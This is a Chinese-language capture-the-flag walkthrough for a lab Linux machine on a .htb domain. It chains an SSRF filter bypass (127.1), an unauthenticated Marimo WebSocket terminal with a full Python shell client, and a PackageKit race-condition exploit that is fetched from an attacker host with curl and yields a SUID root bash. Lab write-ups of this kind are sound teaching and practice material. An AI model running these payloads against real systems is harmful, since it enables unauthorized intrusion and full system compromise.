难度: 简单 | 操作系统: Linux | 作者: 1nt1m4cy
我们首先扫描目标,查看正在运行的服务:
nmap -sCV --top-ports 1000 --min-rate 3000 10.129.244.174
三个开放端口:
22/tcp - SSH (OpenSSH 9.6p1 Ubuntu)
80/tcp - HTTP (nginx 1.24.0) -- redirects to https://cohort.htb/
443/tcp - HTTPS (nginx 1.24.0)
TLS 证书显示域名为 cohort.htb,以及通配符 *.cohort.htb(可能存在隐藏的子域名)。
将其添加到你的 hosts 文件中:
echo "10.129.244.174 cohort.htb" | sudo tee -a /etc/hosts
打开 https://cohort.htb/ —— 这是“Cohort Analytics”的公司网站。这里没什么内容。
点击导航栏中的 “Client Insights”。它会带你到 /portal.html。这个页面有一个表单,你给它一个 URL,服务器就会替你获取它。这就是 SSRF —— 服务器代表我们发起请求。
该表单会 POST 到 /api/validate。如果我们尝试 http://127.0.0.1/,它会提示“Internal or loopback addresses are not permitted.” —— 被阻止了。
但 127.1 可以绕过过滤器(它是 127.0.0.1 的简写,而过滤器没有捕获到它):
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/","format":"JSON"}'
有效。我们获得了 SSRF。
利用 SSRF 检查 nginx 的 /status 端点:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1/status","format":"JSON"}'
这会泄露整个 nginx 配置:
{
"service": "cohort-edge",
"upstreams": [
{ "name": "marketing", "host": "cohort.htb" },
{ "name": "insights-api", "path": "/api/", "target": "127.0.0.1:5000" },
{
"name": "notebooks",
"host": "nb-1be3782a8afd3ad5.cohort.htb",
"target": "127.0.0.1:8888",
"note": "internal analyst workspace, not for external use"
}
]
}
有一个隐藏子域名:nb-1be3782a8afd3ad5.cohort.htb 运行在端口 8888 上。将其添加:
echo "10.129.244.174 nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
利用 SSRF 查看 8888 端口上运行的内容:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/","format":"JSON"}'
响应 HTML 中包含 <title>marimo</title> —— 它是 Marimo,一个 Python notebook 应用。
获取确切版本:
curl -sk https://cohort.htb/api/validate -X POST \
-H 'Content-Type: application/json' \
-d '{"url":"http://127.1:8888/api/version","format":"JSON"}'
版本:0.20.4
Marimo 0.20.4 存在一个严重漏洞(CVE-2026-39987)。WebSocket 端点 /terminal/ws 提供了一个完整的终端,但没有任何身份验证检查。任何人都可以连接。
安装 websocket 库:
pip install websocket-client
将此内容保存为 shell.py:
import ssl, sys, threading, websocket
ws = websocket.create_connection(
"wss://nb-1be3782a8afd3ad5.cohort.htb/terminal/ws",
sslopt={"cert_reqs": ssl.CERT_NONE}
)
def recv():
while True:
try:
data = ws.recv()
if isinstance(data, bytes): data = data.decode(errors="replace")
print(data, end="")
except: break
threading.Thread(target=recv, daemon=True).start()
for line in sys.stdin:
ws.send(line)
运行它:
python3 shell.py
你以 marimo 身份获得一个 shell。获取用户 flag:
marimo@cohort:~$ cat ~/user.txt
检查已安装的内容:
pkcon --version
# 1.2.8
dpkg -l packagekit
# hi packagekit 1.2.8-2ubuntu1.2 amd64
PackageKit 1.2.8-2ubuntu1.2 存在 CVE-2026-41651 漏洞——这是一个竞态条件,允许普通用户以 root 身份安装恶意软件包。dpkg 输出中的 hi 表示该软件包被有意保持在旧版本。
在你的攻击机上,下载漏洞利用程序并提供服务:
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
python3 -m http.server 8080
在目标机器上(在你的 shell 中),下载并运行它:
cd /tmp
curl -o exploit http://YOUR_IP:8080/cve-2026-41651
chmod +x exploit
./exploit
等待约 10 秒。该漏洞利用会在 /tmp/.suid_bash 创建一个 SUID bash。使用它:
/tmp/.suid_bash -p -c 'cat /root/root.txt'
-p 标志告诉 bash 保留 root 权限,而不是将其丢弃。
Nmap --> ports 22, 80, 443, domain cohort.htb with wildcard *.cohort.htb
|
v
Portal at /portal.html --> URL validation form (SSRF)
|
v
SSRF bypass with 127.1 --> hit /status --> leaked hidden vhost nb-1be3782a8afd3ad5.cohort.htb
|
v
Marimo 0.20.4 on the vhost --> CVE-2026-39987: unauthenticated /terminal/ws
|
v
Shell as marimo --> user flag
|
v
PackageKit 1.2.8-2ubuntu1.2 --> CVE-2026-41651: TOCTOU race condition
|
v
SUID bash --> root flag